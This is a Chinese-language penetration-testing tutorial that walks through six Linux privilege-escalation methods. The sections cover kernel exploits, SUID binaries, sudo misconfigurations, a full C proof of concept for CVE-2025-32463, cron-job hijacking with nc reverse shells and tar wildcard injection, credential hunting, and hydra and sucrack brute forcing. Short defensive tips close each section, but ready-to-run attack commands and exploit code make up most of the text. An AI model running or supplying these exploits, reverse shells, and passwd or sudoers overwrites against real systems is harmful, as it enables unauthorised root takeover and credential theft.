前言
在渗透测试中,拿到一个 WebShell 或低权限 Shell 只是第一步,真正的目标是获取目标主机的最高权限。
本文基于实战角度,详细讲解以下 6 种最经典的 Linux 提权方法:
- 内核漏洞提权 --- 直接利用系统漏洞
- SUID 提权 --- 利用文件权限配置不当
- sudo 提权 --- 利用 sudo 配置疏漏或漏洞
- CronJobs 提权 --- 利用定时任务配置疏漏
- 查找敏感文件提权 --- 密码复用是最快的路
- 暴力破解提权 --- 最原始但有效的方法
一、内核漏洞提权
1.1 什么是 Linux 内核漏洞
Linux 内核是操作系统的核心,负责管理硬件资源、进程调度、内存管理等。由于 Linux 内核是开源项目,拥有近百万次 commit、超过 5000 名开发者,代码修改频繁,难免存在漏洞。
内核漏洞提权的原理:利用 Linux 内核中存在的安全漏洞,执行具有高权限的任意代码,从而将普通用户权限提升至 root。
1.2 提权三步骤
第一步:收集信息
拿到目标 Shell 后,首先需要确认系统的发行版本和内核版本:
bash
# 查看发行版本
lsb_release -a
# 如果系统不支持 lsb_release,使用以下命令
cat /etc/os-release
# 查看内核版本(最关键)
uname -r
# 查看更详细的信息
uname -a
# 检查用户命名空间是否启用(某些 exploit 需要)
cat /proc/sys/kernel/unprivileged_userns_clone
# 返回 1 表示启用,0 表示禁用
第二步:查找漏洞
有了版本号之后,去 Exploit-DB 搜索对应版本的内核漏洞。
搜索技巧:
- 在 Search 框输入关键词组合,例如:
privilege kernel 2.6 ubuntu - 在 Filter 中设置 Type 为
local、Platform 为Linux - 优先选择已验证的 exp(带有绿色勾标记的)
如果你使用的是 Kali Linux,也可以用命令行工具 searchsploit:
bash
searchsploit privilege | grep -i linux | grep -i kernel | grep -i 2.6
第三步:执行攻击
大多数情况下,靶机无法连接外网,所以需要先将 exp 下载到攻击机,再上传到靶机:
bash
# 在攻击机上下载 exp(注意 exploit-db 的下载链接格式可能会变)
wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c
# 攻击机搭建 HTTP 服务
cd /tmp
python3 -m http.server 8000
# 靶机下载 exp
wget 192.168.122.1:8000/exploit.c -P /tmp
# 编译 exp(需要 gcc)
cd /tmp
gcc exploit.c -o exploit
# 执行 exp
./exploit
如果靶机没有 gcc,可以在攻击机编译好后上传:
gcc -static exploit.c -o exploit
1.3 现代内核漏洞示例
以下是近年来影响广泛的内核提权漏洞(截至 2026 年):
| CVE 编号 | 影响范围 | 说明 |
|---|---|---|
| CVE-2024-1086 | 内核 v3.15~v6.8 | netfilter nf_tables 双重释放漏洞,已被勒索软件利用,99.4% 成功率 |
| CVE-2026-46333 | 各主流发行版 | ptrace 路径下的本地 root 提权 + 凭据泄露,可直接读取 /etc/shadow |
| CVE-2021-4034 | pkexec 本地提权 | 几乎影响所有主流发行版,利用极为稳定 |
1.4 注意事项
- 内核漏洞利用可能导致系统崩溃,请优先尝试其他方法
- 并非每个 CVE 对应的 exp 都能直接成功,遇到失败可以:
- 更换相同 CVE 漏洞的不同 exp
- 尝试其他 CVE 漏洞
- 内核漏洞利用需要一定的耐心,可能需要多次尝试
- 现代 Linux 有 KASLR、SMEP、SMAP 等内核防护机制,exp 可能需要绕过这些缓解措施,成功率不如从前
1.5 工具推荐:linux-exploit-suggester
这是一个根据内核版本自动查找可利用漏洞的脚本:
bash
# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
# 执行
./linux-exploit-suggester.sh
# 如果靶机 Bash 版本过低,可以手动指定内核信息
./linux-exploit-suggester.sh -u "$(uname -a)"
结果中的 Exposure 分级:
- Highly probable:大概率可利用
- Probable:可能成功,可能需要调整
- Less probable:需要额外分析
- Unprobable:可能性极低
一般优先尝试 Highly probable 和 Probable 级别的漏洞。
二、SUID 提权
2.1 什么是 SUID
SUID是 Linux 中的一种特殊权限位。当一个可执行文件设置了 SUID 位时,任何用户执行该文件,都会以文件所有者(通常是 root)的权限运行。
我们以 ping 命令为例:
bash
ls -alh /bin/ping
# 输出中会看到: -rwsr-xr-x 注意这个 's' 就是 SUID 标志
ping 需要发送 Raw Socket,通过 SUID 位,普通用户也能使用 ping 命令。
提权的核心思路 :如果某个设置了 SUID 位的文件(所有者是 root)具有执行系统命令 或修改文件的功能,我们就可以利用它来提权。
2.2 查找 SUID 可执行文件
拿到 Shell 后的第一件事就是找哪些文件有 SUID 位:
bash
# 三种等价写法
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
2.3 常见 SUID 提权命令详解
1. nmap 提权
适用条件 :nmap 版本在 2.02 ~ 5.21 之间,且设置了 SUID 位
bash
# 查看版本
nmap --version
# 进入交互模式
nmap --interactive
# 在交互模式中执行 shell
!sh
此时获取的 shell 是 root 权限,因为 nmap 以 root 所有者身份运行。
2. find 提权
适用条件:find 命令设置了 SUID 位
bash
# find 的 -exec 参数可以执行任意命令
find <任意文件> -exec <命令> \;
# 提权到 root shell(-p 参数必须加)
find test -exec /bin/bash -p \;
为什么必须加
-p? 不加-p时,bash 会检测到有效 UID 和真实 UID 不一致,自动将权限降回真实 UID。-p参数告诉 bash 不要降权,保持 SUID 赋予的特权。
3. cp 命令提权
适用条件:cp 命令设置了 SUID 位
思路:利用 cp 的 root 权限覆盖 /etc/passwd 文件,添加一个 uid=0 的用户。
bash
# 1. 先复制一份 passwd 文件
cat /etc/passwd > ~/passwd
# 2. 生成密码哈希
openssl passwd -1 -salt ignite pass123
# 输出: $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
# 3. 构造新用户行并追加(uid=0 表示 root 权限)
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd
# 4. 利用 SUID cp 覆盖 /etc/passwd
cp ~/passwd /etc/passwd
# 5. 切换用户,密码 pass123
su hacked
# 此时已是 root 权限!
mv 命令的提权方法与 cp 类似,不再赘述。
补充:利用 cp 的 SUID 覆盖 /etc/sudoers
除了覆盖 /etc/passwd,也可以直接修改 sudo 配置让自己获得完全的 sudo 权限:
bash
# 1. 备份当前 sudoers
cp /etc/sudoers /tmp/sudoers.bak
# 2. 添加免密 sudo 权限
echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /tmp/sudoers.bak
# 3. 利用 SUID cp 覆盖
cp /tmp/sudoers.bak /etc/sudoers
# 4. 现在可以无需密码使用 sudo
sudo bash
4. 其他可 SUID 提权的命令
| 命令 | 利用方式 |
|---|---|
| vim | vim -c '!sh' |
| less | 打开文件后输入 !/bin/bash |
| more | TERM= more /etc/profile → 输入 !/bin/bash |
| php | php -r "pcntl_exec('/bin/sh', ['-p']);" |
| python | python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
| awk | awk 'BEGIN {system("/bin/sh")}' |
| sed | sed -n '1e exec bash -p' /etc/passwd |
推荐资源 :GTFOBins 收录了 478+ 个 Unix 二进制文件的提权方法,覆盖 SUID、sudo、Capabilities 等多种场景。实战中查到可疑的 SUID 文件后,直接上 GTFOBins 搜命令名即可看到对应提权方法。
2.4 防御思路
- 定期审计系统中所有 SUID 文件
- 移除不必要的 SUID 位:
chmod u-s <文件路径> - 尽量使用
sudo而非 SUID 来管理特权操作 - 使用
mount -o nosuid挂载不需要 SUID 的分区
三、sudo 提权
3.1 什么是 sudo
sudo(Super User DO)的作用是让当前用户以 root 或其他用户的身份执行命令。与 SUID 不同,sudo 的权限由 /etc/sudoers 配置文件精确控制。
提权的核心思路:如果 /etc/sudoers 配置不当,允许我们以 root 权限执行某些命令,而这些命令恰好能用来获取 shell,就能直接提权。
3.2 查看当前 sudo 权限
拿到 Shell 后第一件事:
bash
sudo -l
这条命令会显示当前用户能执行哪些 sudo 命令。看到输出后重点关注两样东西:
- 允许以 root 身份执行哪些命令
- 是否需要密码(NOPASSWD)
3.3 利用方式一:允许执行命令且无参数限制
这是最常见也是最容易利用的配置错误。
假设 sudo -l 输出:
bash
(root) NOPASSWD: /usr/bin/find
意为当前用户可以无需密码,以 root 权限执行 find 命令。
利用方法------和 SUID 提权的思路完全一样:
bash
# find
sudo find /home -exec /bin/bash \;
# 如果允许执行 vim
sudo vim -c '!sh'
# less
sudo less /etc/passwd
# 然后输入 !/bin/bash
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# man
sudo man man
# 然后输入 !/bin/bash
万能查询 :任何可以通过 sudo 执行的命令,都可以去 GTFOBins 搜一下,看有没有对应的提权方法。
3.4 利用方式二:允许执行带固定参数的命令
假设 sudo -l 输出:
bash
(root) NOPASSWD: /bin/less /var/log/messages
注意 /bin/less 和 /var/log/messages 之间没有逗号,说明这是一条完整的命令,参数被写死了。
利用方法------某些命令即使参数固定,也可以用内部命令逃逸:
bash
sudo less /var/log/messages
# 在 less 界面中输入:
!/bin/bash
同样的技巧也适用于 more、man、vim 等可以执行内部命令的程序。
3.5 利用方式三:CVE-2025-32463(sudo --chroot 提权,CVSS 9.3)
这是近年来最严重的 sudo 漏洞之一,于 2025 年披露,影响范围极广。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2025-32463 |
| 影响组件 | sudo |
| 影响版本 | sudo 1.9.14 ~ 1.9.17 |
| 修复版本 | sudo 1.9.17p1 |
| CVSS | 9.3 |
| 发现者 | Rich Mirch (Stratascale) |
漏洞原理:
sudo 从 1.9.14 版本开始引入了 --chroot(-R)选项,允许在执行命令前切换根目录。但在实现中,sudo 没有正确清理 chroot 环境中的权限 。攻击者可以在自己控制的目录中构建一个恶意的 nsswitch.conf 文件,指向一个恶意的共享库(.so)。当 sudo 以 root 权限加载 NSS(名称服务切换)库时,恶意代码被执行,直接获得 root shell。
利用步骤:
bash
# 1. 检查 sudo 版本
sudo --version
# 如果是 1.9.14 ~ 1.9.17 之间,则存在漏洞
# 2. 创建恶意共享库 exploit.c
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
}
EOF
# 3. 编译
gcc -shared -o /tmp/exploit.so -fPIC /tmp/exploit.c
# 4. 创建恶意 chroot 环境
mkdir -p /tmp/chroot/etc
mkdir -p /tmp/chroot/lib/x86_64-linux-gnu
mkdir -p /tmp/chroot/usr/lib/x86_64-linux-gnu
# 5. 创建恶意的 nsswitch.conf,让 sudo 加载我们的 so
echo "passwd: files exploit" > /tmp/chroot/etc/nsswitch.conf
echo "group: files exploit" >> /tmp/chroot/etc/nsswitch.conf
echo "shadow: files exploit" >> /tmp/chroot/etc/nsswitch.conf
# 6. 复制必要的库文件(视系统架构而定)
cp /lib/x86_64-linux-gnu/{libc.so.6,libnss_files.so.2,ld-linux-x86-64.so.2} /tmp/chroot/lib/x86_64-linux-gnu/ 2>/dev/null
cp /usr/lib/x86_64-linux-gnu/libnss_files.so.2 /tmp/chroot/usr/lib/x86_64-linux-gnu/ 2>/dev/null
# 7. 将恶意 so 放置在 NSS 搜索路径中
cp /tmp/exploit.so /tmp/chroot/lib/x86_64-linux-gnu/libnss_exploit.so.2
# 8. 触发漏洞
sudo -R /tmp/chroot id
# 成功则直接获得 root shell
更多 PoC 参考:
- 0p5cur/CVE-2025-32463-POC
- MohamedKarrab/CVE-2025-32463(无需 gcc 预编译版本)
3.6 防御思路
- 立即升级 sudo :
sudo apt update && sudo apt upgrade sudo - 最小化 sudoers 配置,尽量使用
sudo -u而不是直接给 ALL - 不需要 chroot 功能时,在 sudoers 中禁用
-R选项 - 定期审计
sudo -l的输出,检查是否有异常的 sudo 权限
四、CronJobs 提权
3.1 什么是 Cron Jobs
Cron Jobs 是 Linux 系统中的定时任务,用于周期性执行命令或脚本(如备份数据、清理缓存等)。如果定时任务以 root 权限运行,且脚本文件或相关目录权限配置不当,就可能被攻击者利用来提权。
3.2 查看定时任务
bash
cat /etc/crontab # 系统级定时任务
crontab -l # 当前用户的定时任务
ls -la /etc/cron.* # 查看 cron 目录下的脚本
3.3 利用场景一:cron 调用的脚本可写
场景:定时任务以 root 权限执行某个脚本,但该脚本对其他用户可写。
假设 /etc/crontab 中有如下配置:
bash
* * * * * root python /home/shiyanlou/cleanup.py
查看脚本权限,发现其他用户有 w(写入)权限:
bash
ls -al /home/shiyanlou/cleanup.py
# -rw-rw-rw- 说明其他用户可写
利用方法一:反弹 root shell
修改 cleanup.py 的内容:
python
# 反弹 shell 到攻击机
import os
os.system('nc 192.168.1.100 4444 -e /bin/bash')
攻击机监听:
bash
nc -lnvp 4444
等待定时任务执行,即可接收到 root 权限的 shell。
利用方法二:添加 SUID
修改 cleanup.py 的内容,给 bash 添加 SUID 位:
python
import os
os.system('chmod +s /bin/bash')
等待执行后:
bash
/bin/bash -p # 获得 root shell
3.4 利用场景二:cron + 通配符注入
场景 :定时任务使用 tar 命令打包目录,且打包目录对当前用户可写。
假设 crontab 中有:
bash
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
原理 :Linux shell 会将 - 开头的文件名解释为命令参数。tar 命令有 --checkpoint 和 --checkpoint-action 参数,可以在打包时执行任意命令。
利用步骤:
bash
# 进入可写的打包目录
cd /var/www/html/
# 1. 创建反弹 shell 脚本
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh
# 2. 创建 checkpoint 触发文件(文件名就是 tar 的参数)
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
当 cron 执行 tar 命令时,实际执行的命令变成了:
bash
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html ...
--checkpoint=1:每处理 1 个文件触发一次检查点--checkpoint-action=exec=sh shell.sh:触发时执行 shell.sh
这样就会执行我们的反弹 shell 脚本,获取 root 权限。
两个限制条件:
- 打包目录必须对当前用户可写
- tar 命令中不能使用绝对路径(即不能用
/var/www/html/*,只能用/var/www/html/)
3.5 防御思路
- cron 调用的脚本文件权限设为
700(仅所有者可读写执行) - tar 打包命令中尽量使用全路径+具体文件,避免使用通配符
* - 定期审计
/etc/crontab和各 cron 目录下的脚本
五、查找敏感文件提权
5.1 核心思想
这一方法的本质是 寻找服务器上的认证信息 + 密码复用。管理员经常在不同服务中使用相同或相似的密码,如果能从 Web 配置文件、数据库或 bash 历史中找到密码,很可能就直接登录 root 了。
5.2 Web 服务配置文件
重点关注 /var/www 目录下的配置文件:
bash
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
如果目标使用了 CMS(WordPress、Drupal、Joomla 等),查一下该 CMS 的默认配置文件路径。例如 WordPress 的数据库配置在 wp-config.php:
bash
more /var/www/wordpress/wp-config.php
# 可能会找到 MySQL 连接信息:
# define('DB_USER', 'root');
# define('DB_PASSWORD', 'cD8M2M8fMiDHu4m1');
利用思路:
- 尝试用该密码直接 SSH 登录 root
- 登录 MySQL 数据库,查找其他用户的密码
- 使用找到的密码尝试 sudo 或 su
bash
# 登录 MySQL
mysql -u root -p -h 127.0.0.1
# 在数据库中查找用户表
show databases;
use <数据库名>;
show tables;
select * from <用户表>;
找到的密码可能和系统 root 密码相同(密码复用)。
5.3 用户历史命令
bash
cat ~/.bash_history
cat ~/.bashrc
cat ~/.bash_profile
历史命令中可能泄露密码:
bash
# 例如发现这条记录:
echo tomcat-syl:09FMWNFS7n | chpasswd
# 表示管理员修改了 tomcat-syl 的密码为 09FMWNFS7n
# 尝试 sudo
sudo whoami
# 输入密码 09FMWNFS7n
5.4 备份文件
bash
find /var /etc /home /root /tmp -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" -o -name "*.bk" \) 2>/dev/null
备份文件中经常包含 SSH 密钥、数据库密码、配置文件等敏感信息。
5.5 补充:MySQL UDF 提权
如果找到 MySQL root 密码,且 MySQL 以 root 权限运行,可以尝试 UDF 提权。
条件:
- 获取到 MySQL root 账户密码
- MySQL 以 root 权限运行(未被降权)
UDF(User Defined Function)是 MySQL 的共享库机制,可以创建执行系统命令的函数(如 sys_exec、sys_eval),从而执行系统命令。
5.6 防御思路
- 数据库密码不要与系统密码相同(避免密码复用)
- Web 配置文件的数据库密码使用独立账户,最小权限原则
- 定期清理 bash 历史记录:
history -c - 备份文件要加密存储,不要放在 Web 目录下
- MySQL 不要以 root 权限运行
六、暴力破解提权
6.1 什么时候用暴力破解
当你试遍了所有其他方法都无法提权时,暴力破解可能是最后的选择。主要有两种途径:
- 本地暴力破解 :通过
su命令爆破 root 密码 - 远程暴力破解:通过 SSH 协议爆破 root 密码
6.2 本地暴力破解(sucrack)
su 命令需要从 TTY shell 获取输入,普通的 shell 脚本无法完成自动化爆破。sucrack 是用 C 语言编写的多线程工具,专门用于通过 su 爆破本地用户密码。
安装 sucrack:
bash
# 方法一:apt 安装(靶机能联网时)
sudo apt install sucrack
# 方法二:下载源码编译
# 下载地址:https://leidecker.info/projects/sucrack.shtml
# 方法三:在攻击机编译后上传到靶机
使用示例:
bash
# 基本用法:默认爆破 root 密码
sucrack -w 20 wordlists.txt
# 指定用户
sucrack -u myuser -w 20 wordlists.txt
参数说明:
-w:指定线程数(建议 20 左右)-u:指定要爆破的用户(默认 root)wordlists.txt:密码字典文件
成功后会显示破解出的密码,然后使用 su root 切换即可。
6.3 远程暴力破解(hydra)
前置检查:只有 SSH 配置允许 root 登录时才有意义
bash
cat /etc/ssh/sshd_config | grep -i permitrootlogin
# 必须是 yes 才能尝试
hydra 爆破 SSH:
bash
# 基本语法(传统格式)
hydra -l root -P passwords.txt -t 4 -V <目标IP> ssh
# 或者使用 URI 格式(推荐)
hydra ssh://<目标IP>:22 -l root -P passwords.txt -t 4
参数说明:
-l:指定用户名(这里是 root)-P:指定密码字典-t:线程数(SSH 建议设置为 4,默认 16 已经偏大,不要使用 -t 64)-V:显示详细的破解进度-o:将结果保存到文件
注意事项:
- ⚠️ SSH 的 -t 参数不要设太大 ,很多 SSH 服务端会限制并发连接数,建议
-t 4,过大反而容易被 ban 或导致误报 - hydra v9.0 之前的版本爆破 SSH 容易出现误报,请升级到最新版
- 爆破行为可能触发系统的 Fail2Ban 等防护机制
- SSH 爆破速度较慢,适合作为字典攻击
6.4 暴力破解的局限性
- 速度慢:需要大量请求/尝试
- 可能被封:系统可能配置了账户锁定或 IP 封禁策略
- 依赖字典:密码强度取决于字典质量
- 日志明显 :爆破行为会在
/var/log/auth.log中留下大量失败记录
6.5 防御思路
- 禁止 root 远程登录 SSH:
PermitRootLogin no - 使用 SSH 密钥认证代替密码认证
- 部署 Fail2Ban 等防护工具
- 设置复杂密码,定期更换
- 使用 PAM 模块设置账户锁定策略
拿到 Shell 后,按照以下顺序快速排查:
1. sudo -l # 看 sudo 权限(含 CVE-2025-32463 检测)
2. find / -perm -4000 2>/dev/null # 看 SUID
3. cat /etc/crontab # 看定时任务
4. find /var/www -name "*.php" -o -name "*.config" # 找敏感文件
5. cat ~/.bash_history # 看历史命令
6. cat /etc/shadow 2>/dev/null # 检查 shadow 权限
7. uname -r 然后找内核漏洞 # 最后手段